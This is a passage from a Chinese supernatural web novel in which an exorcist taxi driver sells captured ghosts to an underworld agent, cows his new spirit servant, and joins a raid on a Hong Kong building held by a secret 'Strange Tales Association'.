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第212章 岚婆手里的跨时代产品
古德的声音在寂静无人的十字路口回荡,四根线香燃烧散发的青烟笔直上升,在清冷的夜空中显得格外醒目。
他的话音刚落,几乎是下一秒。
“别喊了别喊了……来了来了……咳咳……”
一个略显苍老、带着点不耐烦,却又隐含着一丝不易察觉的笑意的声音,突兀地从不远处阴影最浓重的地方传了出来。
随着声音响起,那片阴影开始如同水波般荡漾起来。
紧接着,一个穿着深蓝色寿衣、身形略显佝偻的老婆婆,悄无声息地从阴影中一步迈了出来。
正是岚婆。
她看起来和上次见面时似乎没什么变化,但仔细感受,却能发现她周身散发出的那股属于地府鬼差特有的阴冷而又带着秩序气息的能量波动,似乎比之前更加凝实和强大了几分。
她脸上带着惯有的那种似笑非笑的表情,目光先是扫过现场,在吓得瑟瑟发抖的阿草身上停留了一瞬,然后才落在古德身上。
古德见到岚婆现身,脸上露出了笑容,主动打了个招呼:
“岚婆,几日不见,您这气息可是又精进了不少啊!看来最近业绩不错,修为见涨嘛!”
岚婆闻言,脸上的笑容更深了一些,她笑眯眯地回应道:
“呵呵……托你小子的福!要不是你最近这么勤奋,三天两头就给老身送这么多优质货源下来,我这把老骨头,哪能这么快就攒够功劳,让上面给提升了一下待遇?”
她顿了顿,直接切入正题,问道:
“怎么,阿德,这么晚急急忙忙喊老身上来,是又有什么好货要处理了?还是遇到什么棘手的事情了?”
“岚婆您猜得真准!”
古德笑着点了点头,拍了拍手,“确实是有点好东西,急着出手,所以才劳烦您老人家跑这一趟。”
就在古德和岚婆寒暄的这短短几句话的功夫,站在古德身后的阿草,已经吓得魂不附体了!
她浑身控制不住地剧烈颤抖起来,脸色变得比刚才被阵法压制时还要惨白!
下意识地就往古德身后缩了缩,试图用古德的身体挡住自己,减少存在感。
一双美眸中充满了极致的恐惧和敬畏!
作为一个在人间游荡了不少年头的精怪,她比谁都清楚鬼差这两个字意味着什么!
那可是地府的正式公务员,专门负责缉拿、管理他们这些游离于阴阳秩序之外的妖魔鬼怪的存在!
对于她这种走了邪道的精怪来说,鬼差就是天敌!
是克星!
是能决定她生死和归宿的绝对权威!
尤其是最近几十年,天地规则变化,地府对人间的直接干预越来越少,已经很久没有鬼差如此清晰地现身了。
她万万没想到,自己刚认的这个新主人,不仅实力强得离谱,居然还和地府的鬼差有这么深厚的交情?
一炷香就能把鬼差直接叫到面前来?
一个可怕的念头不受控制地钻进她的脑海:
‘完了完了……他……他不会是因为我刚才在车上不知死活地调戏了他几句,觉得我不听话,所以干脆直接叫鬼差上来,要把我当场处理掉吧?’
想到这里,她更是吓得手脚冰凉,连大气都不敢喘一口,只能用哀求的眼神,死死地盯着古德的背影,祈祷他不要说出那个可怕的决定。
古德自然能感觉到身后阿草那剧烈的情绪波动和恐惧。
他嘴角微不可查地向上扬了一下,心中暗笑,目的算是达到了一半。
他并没有立刻去安抚或者解释什么,有些恐惧,需要让她自己先消化一下,效果才会更好。
他转身,几步走到出租车的后备箱前,“啪”地一声打开箱盖。
然后,他伸手进去,像是拖一袋土豆似的,毫不费力地将那个被墨线和符箓捆得结结实实,依旧在微微蠕动发出微弱“嗬嗬”声的吸血鬼尸王给拎了出来。
他拖着这沉重的“货物”,走到岚婆面前,随手就扔到了岚婆的脚边,发出“嘭”的一声沉闷声响。
他拍了拍手,仿佛沾上了什么灰尘似的,然后指着地上的尸王,语气随意地问道:
“岚婆,您给掌掌眼。这种半尸半鬼、东西方特征混搭的杂交品种,下面收不收?能值几个钱?”
岚婆闻言,低下头,仔细地打量起脚边这个不断挣扎的怪物。
她那双看似浑浊的老眼中,闪过一丝不易察觉的精光。
她并没有立刻回答,而是不紧不慢地从她那件宽大的寿衣袖子里,摸索着掏出了一个东西。
看到那个东西,古德的眼睛瞬间就瞪大了,脸上露出了极其惊讶的表情!
那竟然是一个……智能手机?!
而且看那轻薄的造型、大尺寸的触摸屏……这分明就是他前世常见的那种智能触屏手机啊!
只不过,这个手机的外壳是一种暗沉的仿佛由某种黑色玉石打造的材质,整体看起来非常通透,屏幕亮起时散发出的光芒也是一种幽幽的带着冷意的蓝光,显得有些诡异。
岚婆熟练地用她那干枯的手指,在手机屏幕上滑动了几下,点开了一个图标古怪的APP。
下一刻,一道淡蓝色的光柱从手机背面的某个位置投射出来,精准地照射在地上的吸血鬼尸王身上。
那光柱
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仿佛具有扫描功能一般,从上到下缓缓移动着。
手机屏幕上,随之快速滚动过一行行密密麻麻的、如同鬼画符般的数据和分析结果。
岚婆盯着屏幕看了一会儿,不时还点点头,咂咂嘴,仿佛在评估一件商品的成色。
片刻后,她才抬起头,对古德说道:
“嗯……你小子运气不错。这玩意儿,虽然是个串儿,融合手法也糙了点,但胜在品种稀有,总体也还算完整。下面正好有一位专门研究异变尸魔的大佬,最近在大量搜集这类实验素材。”
她顿了顿,给出了一个大概的估价:
“价格嘛……可能比不上上次那个纯血的海魔,但也还算可以。我尽量给你争取多一些阴德。”
不过古德的注意力,却还停留在那部手机上。
他忍不住指着那手机,一脸不可思议地问道:
“岚婆……这……这手机……地府现在都这么先进了吗?都用上智能机了?还能扫码鉴定?”
这画面,实在是太有冲击力了,让他一时有些难以接受。
阴曹地府,不应该是判官拿生死簿,鬼差拿勾魂链吗?怎么变成这样了?
岚婆见古德这副惊讶的模样,不由得笑了声来。
她晃了晃手中的手机,脸上带着几分得意和调侃说道:
“你竟然还知道智能机和扫码鉴定?怎么?看上老身这新装备了?”
她一边说着,一边熟练地将手机锁屏,重新揣回袖子里,解释道:
“这是最近才配发下来的幽冥通最新款。听说是茶茶大人不知道从哪个异世界,请了一个顶级的人才下来,专门为地府研发的。
功能是挺多的,能查信息、能鉴定阴物能量等级、还能直接连通地府内部网络进行功绩结算和兑换……
就是耗电有点快,得经常回办事处充电,而且只能在地府能量覆盖的范围内使用,拿到你们阳间,就是块没用的板砖。”
古德听完,脸上露出了一丝恍然,随即又有些遗憾。
他确实有点怀念智能机的便捷了,可惜这东西阳间用不了。
他摇了摇头,把这点心思抛开,重新回到正题。
“原来是这样。”
他指了指地上的尸王,对岚婆说道:
“这鬼东西,我留着也没用,还占地方。既然下面有大佬收,那就麻烦岚婆您帮忙处理掉吧,能换多少阴德算多少。”
岚婆点了点头:“行。”
她伸出一只干瘦的手,对着地上的尸鬼虚空一抓!
霎时间,一条闪烁着幽冷乌光、由精纯阴气凝聚而成的锁链,凭空从她的袖口中激射而出!
第213章 吓坏了的阿草
那锁链仿佛拥有生命一般,灵活地在空中蜿蜒游动,发出“哗啦啦”的清脆撞击声,然后精准地缠绕在了吸血鬼尸王的身上,将其捆了个结结实实!
锁链一收紧,尸王身上残存的尸煞之气和血能瞬间被彻底压制,连最后那点微弱的挣扎也停止了,变得如同死物一般。
捆好尸王后,岚婆的目光,又似笑非笑地转向了依旧躲在古德身后、吓得几乎要缩成一团的阿草。
她语气带着几分调侃地问道:
“阿德,你身后藏着的那个小草妖……看着灵性倒是不错,虽然道行浅了点,但收拾一下,应该也能卖个不错的价钱。怎么,这次也打算一并出手了?”
这话一出,阿草简直如同被一道晴天霹雳劈中!
她看到那条专门用来锁拿妖邪的勾魂链时,就已经吓得腿软了,再听到岚婆这句话,顿时魂飞魄散!
“不!不要!主人!主人救命啊!”
她再也顾不得什么形象了,猛地从古德身后扑了出来,一把死死地抓住古德的衣角,眼泪汪汪地哀求道,声音都带上了哭腔:
“我错了!我真的知道错了!我以后一定乖乖听话!您让我往东,我绝不往西!您让我抓狗,我绝不撵鸡!求求您!不要把我卖掉!不要送我去地府啊!”
她那副可怜兮兮的模样,与之前在车上那副妖媚放肆的样子,简直判若两人。
古德看到她这副吓得快要魂飞魄散的样子,心中暗自点了点头。
敲打的目的,算是圆满达成了。
他伸手,轻轻拍了拍阿草紧紧抓着自己衣角的手,脸上露出一个安抚的笑容,然后转头对岚婆说道:
“岚婆,这个就算了。这小草妖,我打算留在身边,当个跑腿打杂的助手。虽然性子野了点,但稍微调教一下,应该还能用。就不卖了。”
岚婆听到古德这么说,脸上露出一丝惋惜的表情,点了点头:
“哦……那倒是有点可惜了。不过既然你想留着,那就留着吧。”
随后,岚婆又问道:
“除了这尸鬼,还有别的货吗?没有的话,老身就先带着它回去交差了。下面还有一堆任务要处理呢。”
“有,还有!”古德连忙说道。
他再次转身,从后备箱里拿出一个看起来鼓鼓囊囊的土黄色帆布袋子。
袋子口用朱砂线扎得紧紧的,但依旧有丝丝缕缕的阴冷气息从里面渗透出来。
他将袋子递给岚婆,解释道:
“这里面,除了一些在警署顺手收的本地游魂野鬼之外,大部分都是从刚刚从鬼蜮里清理出来的……樱花国的小日子鬼。
数量不少。就是不知道,这种跨了国界**几十年还赖在别人地盘不走的鬼物,你们地府收不收?价格怎么算?”
岚婆接过袋子,并没有打开。
她只是将干枯的手掌轻轻按在袋子上,微微闭目感应了片刻。
当她再次睁开眼时,那双平日里总是带着几分笑意的眸子里,竟然闪过一丝冰冷的寒芒,连周围的温度都仿佛下降了几分。
“收!当然收!”
岚婆
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的语气变得有些冷冽,“这些小日子鬼,在下面可是‘紧俏货’!”
古德闻言,倒是有些意外:“紧俏货?那价格应该不错吧?”
岚婆却摇了摇头,脸上露出一个古怪的、带着几分森然的笑容:
“价格嘛……恐怕要让你失望了。不仅不高,反而比普通的游魂还要便宜不少。得提前跟你说一声。”
“为什么?”古德更加好奇了,“既然是紧俏货,怎么还不值钱?”
岚婆嘿嘿冷笑了两声,解释道:
“因为它们的‘用途’不一样。这些小日子鬼,下去了,通常不是去接受审判或者轮回的。它们的最终归宿,一般是两个地方。”
她伸出一根手指:
“第一,是作为‘食材’。地府某些区域,有一些特殊的‘酒楼’和‘餐馆’,专门招待一些口味比较……独特的客人。这些小日子鬼的魂体,经过特殊处理后,据说口感相当劲道,很受某些老饕鬼修的欢迎。”
接着,她又伸出第二根手指,脸上的表情更加微妙:
“第二,就是作为实验材料。下面有几位在灵魂领域有着特殊爱好的大佬,特别喜欢用这些小日子鬼来做一些……嗯,比较深入的灵魂层面的研究。消耗量挺大的。”
“因为它们基本上都是作为‘消耗品’和‘耗材’来使用的,所以,虽然市场需求很大,但价格嘛……自然就高不起来了。”
岚婆最后总结道,语气平淡,好像小日子鬼对于地府来说,就跟阳间的鸡鸭鱼小白鼠一样。
第214章 阿草的计算单位
古德听完这番解释,嘴角忍不住抽搐了一下。
他倒是没想到,地府的产业链居然这么……丰富多彩。
他无所谓地耸了耸肩:
“行吧,反正也是顺手清理的垃圾,能换点阴德就算赚了。价格方面,岚婆您看着办就行,我相信您老人家肯定不会让我吃亏的。”
岚婆听到古德这话,不由得笑骂道:
“你个滑头的臭小子!这话说的,好像我老太婆还会坑你似的!放心吧,该是你的一份,少不了你的!干我这行的,靠的就是信誉二字!”
她一边说着,一边将那袋子装满了鬼物的帆布袋,和另一只手上拎着的被勾魂链捆着的吸血鬼尸王,熟练地归拢到一起。
然后,她看向古德,语气变得稍微郑重了一些,说道:
“既然货都齐了,那老身就先下去了。最近你小子动静搞得不小,自己多加小心。要是再遇到什么处理不了的**烦,或者又搞到什么好货,尽管像今天这样喊我。”
这话里,带着一丝不易察觉的关切和承诺。
古德笑着点了点头:“明白!多谢岚婆关照!有好事肯定第一个想着您!”
岚婆满意地笑了笑,然后不再多言。
她的身影开始变得模糊起来,连同她手中的货物一起,仿佛融化在了周围的阴影之中。
只是眨眼间的功夫,便彻底消失不见。
原地只留下那四根即将燃尽的线香,以及一丝若有若无的阴冷气息,也很快被夜风吹散。
直到岚婆消失了好一会儿,阿草才仿佛虚脱了一般,长长地、小心翼翼地舒了一口气,整个人都差点软倒在地。
她拍着自己高耸的胸脯,脸上还残留着后怕的表情。
古德回头看了她一眼,打了个响指,将她从失神中唤醒:
“还傻愣着干嘛?戏看完了,上车,回去了。”
他顿了顿,补充了一句,算是给了她一颗定心丸:
“只要你以后老老实实听话,好好做事,别动什么歪心思,我自然不会亏待你,更不会把你卖了或者送下去。”
阿草闻言,如同听到了特赦令一般,脸上瞬间露出了狂喜和感激的神色。
她连忙小鸡啄米似的拼命点头,声音无比乖巧地应道:
“是是是!BOSS!我一定听话!一定好好做事!谢谢BOSS!谢谢BOSS!”
此刻,她对古德的敬畏之心,已经达到了顶点。
能和鬼差谈笑风生、做买卖的人,绝对是她惹不起的存在。
两人重新上车。
古德发动车子,朝着元朗的方向驶去。
一路上,阿草都正襟危坐,目不斜视,乖得像个小学生,再也不敢有丝毫放肆的举动。
回到元朗的小洋楼,古德停好车。
他并没有因为阿草是自己人就免了她的车费,依旧按照规矩,伸手向她要了这次的车钱。
阿草连忙从自己随身的一个小荷包里,掏出几张港币,恭恭敬敬地递给古德。
古德接过钱,满意地点了点头。
同时,他习惯性地瞥了一眼脑海中的系统界面。
今天虽然经历了一场大战,但实际开车的里程并不算多,加上回来时载了阿草这一单,总共也就增加了几十点公里数,让总公里数达到了410点。
然而,一个意外的发现,让古德眼前一亮,脸上忍不住露出了喜悦的神色!<
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br>他注意到,系统在计算阿草这一单的公里数时,竟然是按照非人类单位来计算的!
显然,系统并没有因为阿草成了他的仆从就将其视为自己人而免票,反而依旧将她判定为一个付费乘客!
‘这可真是……意外之喜啊!’
古德心中顿时乐开了花。
‘看来,以后只要出车的时候带上阿草,让她坐在车上,那么再搭载其他乘客,每一单都能享受双倍公里数的奖励!这简直就是个移动的公里点数加成buff啊!系统这规矩……更新得妙啊!’
他仿佛已经看到,未来公里数飞速增长的美好前景了!
脸上的笑容越发灿烂。
一旁的阿草,看着古德因为收了一点车费就笑得这么开心,脸上不由得露出极其古怪的表情。
她实在想不通,自己这位神通广大、连鬼差都能召来的主人,为什么会对这点微不足道的小钱如此在意?
她刚才明明表示愿意献上自己所有的积蓄来赎身,他都不屑一顾,现在却为几张零钱高兴成这样?
这……这思维方式,也太难以理解了吧?
古德自然不会去解释系统的存在。他心情愉悦地将阿草安置在一楼的一间客房,并简单交代了几句规矩。
然后,自己便上楼休息去了。
经历了这漫长而刺激的一夜,他确实需要好好睡一觉了。
夜色深沉,小洋楼里很快便恢复了宁静。
只有新成员阿草,躺在陌生的床上,睁着眼睛,望着天花板,心里充满了对未来的迷茫、敬畏,以及一丝劫后余生的庆幸。
今夜发生的一切,对她来说,简直颠覆了她以往的认知。
第215章 嘉禾大厦集合
第二天,上午九点刚过。
阳光透过半开的百叶窗,在铺着老旧木地板、略显空旷的客厅里投下斑驳的光影。
古德慢悠悠地从二楼主卧踱步下来,身上穿着一套宽松舒适的纯棉家居服,脸上还带着一丝刚睡醒的慵懒。
他习惯性地揉了揉有些凌乱的头发,打了个长长的哈欠。
然而,当他的目光扫向一楼餐厅方向时,脚步不由得微微一顿,脸上露出了一丝略带意外的神情。
只见餐厅那张老式的红木餐桌旁,一道窈窕的身影正背对着他,忙碌地摆放着碗筷。
那人身上穿的,竟然是一套黑白相间、裙摆及膝、带着蕾丝花边的标准女仆装!
腰间还系着一条干净的白色小围裙。
一头乌黑的长发挽成了一个利落的发髻,露出一段白皙的脖颈。
听到楼梯的动静,那身影立刻转过身来,正是已经变幻了模样的阿草。
她此刻的面容,不再是昨晚那种妖艳妩媚的类型,而是换成了一副清秀可人、带着几分乖巧和温顺的模样,看起来就像是个刚毕业的女大学生。
她脸上带着恰到好处的微笑,对着古德微微鞠躬,声音轻柔地说道:
“老板,早上好。早餐已经准备好了,请用餐。”
餐桌上,摆放着一碗热气腾腾的皮蛋瘦肉粥,一碟金黄酥脆的油炸鬼(油条),还有几样清淡的小菜。
虽然算不上多么丰盛,但看起来倒也像模像样,香气扑鼻。
古德愣了一下,随即便恢复了平静。
他走到餐桌前,拉开椅子坐下,拿起勺子,舀了一勺粥,吹了吹热气,送入口中。
味道竟然还不错,火候掌握得很好。
他一边吃着早餐,一边用眼角的余光打量了一下站在一旁、一副恭敬模样的阿草。
心里不由得觉得有些好笑。
‘这根成了精的黑鼠尾草,倒是挺会来事的。这么快就进入了仆人的角色,还懂得用变装来讨好。看来昨天晚上岚婆的那番惊吓,效果是立竿见影啊。’
不过,他也懒得点破。
有个手脚勤快、眼力见不错的保姆伺候着,总归是件舒服的事情。
他三下五除二地吃完早餐,用餐巾擦了擦嘴,然后对阿草说道:
“收拾一下,等会儿跟我出去一趟。”
阿草连忙点头应道:“是,老板。”
她手脚麻利地开始收拾碗筷。
古德站起身,走到窗边,看着外面的道路,眼神变得锐利起来。
他对正在厨房忙碌的阿草说道:“今天,我们去你之前的老巢嘉禾大厦逛逛。”
古德转过身,看着阿草:“你们这个怪谈协会,就像是打不死的蟑螂一样,隔三差五就冒出来恶心人一下。一天不把它连根拔起,我这心里,就一天觉得不踏实,连觉都睡不安稳。”
阿草听到古德的话,脸上立刻露出了深以为然的表情,连忙附和道,语气甚至带着几分义愤填膺:
“老板您说得太对了!这个怪谈协会,就是个祸害!专门干些伤天害理的勾当!早就应该把它彻底铲除了!我一定全力配合您!”
那副样子,仿佛她自己从来就不是协会的一员似的,撇清关系的速度快得惊人。
与此同时,嘉禾大厦楼下。
这栋建于七八十年代的老式商住混合大厦,在清晨的阳光下,显得有些陈旧和杂乱。
外墙的马赛克瓷砖有些已经脱落,露出里面灰暗的水泥。
一楼是各种琳琅满目的商铺,五金店、茶餐厅、服装店、甚至还有一两家闪着暧昧粉红色灯光的按摩小店,此时已经开始营业,人来人往,声音嘈杂。
楼上则是住宅和一些小型的写字楼。
整个大厦就像一个巨大的蜂巢,充满了市井的生活气息,但也因为人员复杂而显得有些混乱。
几辆看似普通的深色面包车,悄无声息地停在了大厦对面街角一处相对僻静的地方。
谢潮、周星星、郑立、莫作栋,以及十几名身穿便装、但眼神锐利、身形精干的后勤部外勤队员,此刻都静静地坐在车内。
谢潮拿起车载对讲机,压低声音,清晰地下达指令:
“各小组注意,重复一遍行动计划。等会儿上去之后,A组由我带队,负责主攻十一楼那个目标单位。
B组,作栋你负责,带领后勤队员,首要任务是保护和疏散楼层里可能存在的普通市民,确保他们的安全,避免造成不必要的恐慌和伤亡。行动务必迅速、安静,尽量不要打草惊蛇。明白了吗?”
“A组收到!”
“B组收到!”
对讲机里传来队员们低沉而有力的回应。
下达完指令,谢潮放下对讲机,推开车门,走了下去。
他靠在车身上,从口袋里摸出一包万宝路,抽出一根,叼在嘴上,用打火机“啪”地一声点燃,深深吸了一口,吐出一个浓重的烟圈。
他的目光,平静的对面那栋看似平常、却暗藏凶险的嘉禾大厦。
周星星也跟着下了车,他显得有些焦躁不安,同样点起了一根烟,一边抽,一边不停地看表,
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嘴里嘟囔着:
“阿潮别装酷了,别人看不到你。还有阿德这个家伙,怎么还没到?”
他抱怨了一句,然后又看向大厦,眉头紧皱:
“这怪谈协会的人,也**的会选地方!躲在这种鱼龙混杂、人流量巨大的地方,我们想悄悄清场都不方便,动作稍微大一点,就容易惊动里面的家伙,万一让他们混在人群里跑了,或者狗急跳墙挟持人质,那可就麻烦大了!”
谢潮闻言,点了点头,表示赞同。
他弹了弹烟灰,语气带着一丝凝重:
“确实。这种环境,对我们的行动很不利。不过……”
他话锋一转,目光扫过大厦的外墙和周围的环境,似乎在评估着什么,继续说道:
“比起我现在住的那栋楼,这里的凶煞之气,感觉反而要弱一些。”
周星星一听,好奇地凑过来问道:“阿潮,你住的那栋楼又怎么了?也闹鬼?”
谢潮苦笑了一下,又吸了口烟,才说道:
“嗯。最近晚上老是听到一些奇怪的动静,楼道里的灯也时不时自己乱闪。我怀疑楼里可能又住进了什么不干净的东西。等这次的事情处理完,我就得抽空回去好好清理一下了。”
他说着,脸上露出一丝无奈,但眼神中却没有太多畏惧。
谢潮甚至开了个玩笑:“等我把楼里打扫干净了,我就不住那边了。到时候我也学阿德那样,找个凶宅买下来算了。反正凶宅价格便宜,地方又够大,收拾一下,以后拿来当婚房也挺不错的。”
周星星一听“凶宅”和“婚房”,眼睛顿时一亮,来了兴趣。
他用力拍了一下谢潮的肩膀,兴奋地说道:
“哇!阿潮!你觉得这个想法很棒!买凶宅当婚房!我怎么就想不到!算我一个!
到时候我买个大别墅,看阿敏她妈那边还有没有其他话!阿潮等你买的时候,你也帮我物色一栋!”
一旁的郑立本来在跟莫作栋聊天,听到两人的对话,也忍不住凑了过来,脸上带着意动的样子,说道:“阿潮,星仔,你们要是真想买凶宅,我可以帮你们介绍房源啊!
我有个远房表哥就在地产中介做事,专门处理这类问题物业,价格绝对便宜!”
他顿了顿,有些不好意思地摸了摸后脑勺,补充道:“不过……到时候可能也得麻烦你们,顺便帮我也帮忙处理一下。我和阿红……也打算年底结婚了,正为房子的事情发愁呢。”
说到结婚,郑立的脸上露出了幸福而又略带羞涩的笑容。
第216章 阿德你吃的也太好了!
莫作栋此时也从车上下来,听到三人的对话,不由得“啧啧”了两声,脸上露出一副“你们没救了”的表情,摇着头说道:
“不是吧,你们几个?年纪轻轻的,就这么想不开,要争先恐后地跳进爱情的坟墓里去?”
周星星一听,立刻反击道,脸上带着坏笑:
“喂!你这就是典型的‘吃不到葡萄说葡萄酸’!这叫爱情的甜蜜港湾!你这种连师妹的手都没牵过的单身狗,是不会明白的!”
单身狗这个词,还是以前古德有一次用来形容莫作栋的,周星星觉得非常形象贴切,从此就牢牢记住了,时不时拿出来刺激一下莫作栋。
果然,莫作栋一听到“单身狗”三个字,就像被踩了尾巴的猫一样,瞬间破防了。
他脸色涨得通红,梗着脖子,不服气地嚷嚷道:
“谁……谁说我是单身狗了!你……你别小看人!我……我也要买一套凶宅!等我追到我师妹,就……就和她一起住进去!”
周星星见他上钩,立刻趁胜追击,用更加欠揍的语气说道:
“得了吧你!就你?连表白的勇气都没有,还买凶宅?等你什么时候真的把你那个宝贝师妹追到手,再来跟我们讨论‘爱情的坟墓’这个高端话题吧!现在啊,你就老老实实当你的单身贵族吧!”
“你……你……”莫作栋被噎得说不出话来,气得直跳脚,伸手就要去掐周星星的脖子。
周星星则大笑着躲闪。
两人顿时在车边嘻嘻哈哈地打闹起来,原本有些紧张的气氛,倒是被冲淡了不少。
谢潮看着打闹的两人,无奈地摇了摇头,脸上却带着一丝笑意。
他转向郑立,真诚地说道:“阿立,要结婚了?恭喜啊!到时候一定通知我们,给你包个大红包!”
郑立嘿嘿一笑,脸上洋溢着幸福的光芒,连连点头:“谢谢!一定一定!”
就在这时,一阵低沉的引擎声由远及近。
一辆非常眼熟的红色出租车,一个利落的甩尾,“吱嘎”一声,稳稳地停在了谢潮他们那辆面包车的正前方,差点就蹭到了保险杠。
车门打开,一条穿着黑色休闲裤的长腿迈了出来。
接着,古德那熟悉的身影,从驾驶室里钻了出来。
他今天穿了一身简单的黑色休闲运动服,脚下蹬着一双运动鞋,看起来十分利落。
古德脸上带着一丝慵懒的笑容,仿佛只是来赴个普通的聚会。
他径直走到谢潮面前,非常自然地伸手,从谢潮敞开的外套口袋里,摸出了那包“万宝路”,熟练地抖出一根。
然后用指尖“噗”地一声冒出的一小簇金色法力火焰,点燃后叼在嘴里,深深吸了一口,这才慢悠悠地说道:
“唔好意思啊(不好意思),阿潮。路上接了几单顺风车生意,耽误了点时间,来晚了。”
谢潮看着自己瞬间少了一根的烟盒,一脸无奈地说道:
“喂,阿德!你迟到就迟到,怎么还顺手牵羊,拿我的烟抽?”
古德挑了挑眉毛,吐出一口烟圈,理直气壮地回答:
“忘记买了。帮你消耗一点,有益健康。”
这时,出租车的副驾驶门也打开了。阿草从车上走了下来。
她已经换掉了早上的女仆装,穿上了一套剪裁合体的浅灰色职业套裙,鼻梁上架着一副金丝边框眼镜,头发一丝不苟地盘在脑后,手里还拿着一个公文包,一副精明干练的女秘书模样。
她快步走到古德身边,微微躬身,语气恭敬地说道:“老板,一切准备就绪。接下来的路线和目标地点的基本情况,已经整理好了。是否现在就由我来带路?”
谢潮、周星星、郑立、莫作栋四人的目光,瞬间齐刷刷地聚焦在了阿草的身上。
当他们看清阿草那张精心修饰过、既不失妩媚又带着专业气质的漂亮脸蛋,以及那被职业装勾勒得恰到好处的窈窕身段时,脸上都不约而同地露出了极其复杂的表情。
那是一种混合了惊讶、羡慕、以及一丝难以言喻的嫉妒的神情。
周星星的反应最为夸张,他的眼睛几乎要冒出绿光来。
他一个箭步窜到古德身边,用胳膊肘使劲捅了捅古德的腰眼,压低声音,咬牙切齿地说道,那语气酸得能拧出汁来:
“我顶你个肺啊
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,阿德!你这也……太过分了吧!这才一晚上不见,你连秘书都配上了?还是这种级别的?你这吃的也太好了吧!兄弟我羡慕嫉妒啊!”
古德看着周星星那副快要抓狂的样子,嘴角微微向上扬起,露出一抹得意的笑容。
他不慌不忙地从口袋里摸出一张黄色符纸。
正是那张让周星星记忆深刻的静音符,在他面前晃了晃,语气带着几分戏谑地问道:
“怎么,阿星?你好像有很大的意见?要不要我帮你冷静一下,好好表达一下?”
周星星一看到那张符纸,顿时像被泼了一盆冷水,瞬间就怂了。
他连忙换上一副谄媚的笑容,摆手说道:
“没有没有!绝对没有意见!我这是替兄弟你感到高兴啊!由衷地为你高兴!阿德你事业有成,现在又有了这么得力的助手,我开心还来不及呢!”
变脸之快,令人叹为观止。
古德也懒得再跟他斗嘴。
他将烟头扔在地上,用脚碾灭。
然后,他抬起手,打了个清脆的响指,脸色一正,对众人说道:“行了,别贫了。正事要紧。”
他的目光扫过谢潮、周星星、郑立,最后落在了阿草身上,语气变得沉稳而有力:
“走吧。让我们去会一会这个藏头露尾的怪谈协会,看看他们在这嘉禾大厦里,到底搞什么鬼。”
他对阿草示意了一下:“带路。”
阿草立刻点头应道:“是,老板。请跟我来。”
说完,她便一马当先,迈着自信而专业的步伐,朝着嘉禾大厦的入口走去。
高跟鞋敲击在水泥地面上,发出“哒哒”的清脆声响。
古德毫不犹豫地跟上。
谢潮、周星星、郑立三人也立刻收敛了脸上的玩笑之色,迅速跟上古德的脚步,神情变得严肃而警惕。
莫作栋则对身后那十几名早已准备就绪的后勤部外勤队员打了个手势。
队员们立刻无声地散开,形成一个松散的护卫和警戒队形,远远地跟在后面,负责殿后和策应。
一行人,在阿草的引领下,融入了嘉禾大厦门口熙熙攘攘的人流之中。
第217章 业主老王
一行人跟在阿草身后,走进了嘉禾大厦略显昏暗的一楼大堂。
空气中弥漫着一股老式建筑特有的、混合着灰尘、消毒水和各种食物气味的复杂味道。
大堂里人来人往,神色匆匆的上班族、提着菜篮的主妇、还有几个无所事事蹲在角落抽烟的古惑仔,构成了一幅典型的九十年代香江底层市井图景。
电梯似乎坏了,指示灯不亮。
他们只好走消防楼梯上楼。
楼梯间里灯光更加昏暗,墙壁上布满斑驳的污渍和乱七八糟的涂鸦,脚步声在封闭的空间里回荡,显得有些阴森。
古德一边上楼,一边习惯性地扫视着四周的环境。
他忽然觉得有点不对劲,好像少了点什么。他放缓脚步,凑到谢潮身边,低声问道:
“阿潮,子朗、彦博哥还有小马他们几个呢?今天这么大的行动,怎么没见他们人影?”
谢潮闻言,脸上露出一丝无奈和疲惫,他叹了口气,压低声音回答:
“别提了,阿德。今天农历十五,你也知道今天阴气重。不知道怎么回事,从凌晨开始,香江各处就跟约好了似的,接连爆出好几起恶性的鬼怪伤人事件,闹得特别凶,连大白天都压不住,搞得人心惶惶。
报警电话都快被打爆了。异灵灵异部人手严重不足,我只好让子朗、彦博还有马季他们三个,各自带一队人马,分头去处理那些更紧急的案子了。不然这边没搞定,其他地方再出大乱子,那就麻烦了。”
说完,谢潮用胳膊肘轻轻碰了碰古德,脸上带着半是抱怨半是期待的表情,说道:
“阿德,你看,咱们部门现在真是缺人啊!你都多久没拉新的能人异士入伙了?光靠我们几个都快跑断腿了。你要不想想办法再给咱们部门补充点新鲜血液?”
古德听了,没好气地翻了个白眼,斜眼看着谢潮:
“喂,阿潮!搞清楚哦,你才是异灵灵异部门的正式阿头(老大)!怎么听起来好像我才是异灵灵异部门的老大?”
谢潮脸皮厚度显然被周星星带着有大幅度提升,他非但没有不好意思,反而嘿嘿一笑,搂住古德的肩膀,一副哥俩好的模样:
“哎呀,阿德,咱们兄弟之间,还分什么你我?你的不就是我的,我的……嗯,还是我的。这样,等今天这事完了,我请你吃叉烧饭,当是慰劳你,怎么样?”
古德嫌弃地拍开他的手,嘴角却微微上扬:
“叉烧饭就想打发我?想得美!我要吃干炒牛河!”
“成交!”
谢潮爽快地答应,仿佛占了大便宜。
说笑间,他们已经跟着阿草来到了大厦的十一楼。
这一层的环境明显比下面安静许多,走廊里的灯光也更加惨白。
两旁的房门大多紧闭,门上挂着各种贸易公司、咨询中心之类的牌子,但看起来都冷冷清清,不像有人的样子。
阿草在一扇看起来和其他门并无二致、挂着“环球进出口贸易公司”铜牌的深褐色木门前停下脚步。
她转过身,对古德低声说道:
“老板,就是这里了。这一整层,表面上被不同的公司租用,但实际上都被怪谈协会暗中控制或买通了。这一间,是他们最近使用的核心活动室和指挥点。
根据我之前的了解,为了保密和方便行事,他们通常会把这一层的普通职员在特定时间支开,或者干脆用幻术影响,所以现在这里面应该没有无关的普通人,我们可以放手行动。”
古德点了点头,目光锐利地扫过这扇门以及周围的环境。
他抬起手,对着身后的众人做了一个准备行动的手势。
霎时间,所有人都收敛了脸上的轻松表情,气氛瞬间变得凝重起来。
古德从随身携带的一个帆布挎包里,抽出了一把长约二尺八寸、木质细腻颜色深沉的桃木剑。
这次行动地点在闹市区的写字楼,空间狭窄,他那柄威猛但过于沉重的青铜阔剑确实施展不开。
这把桃木剑是他平时备用的,虽然不如青铜剑霸道,但胜在轻灵,对付一般的妖邪也绰绰有余。
而且,他挎包里还备着厚厚一叠画好的五雷符,真要遇到硬茬子,大不了火力覆盖。
当然,得控制好力度,不然把这层楼炸塌了,麻烦就大了。
谢潮和周星星也各自从后腰抽出了他们的本命法器打鬼棒。
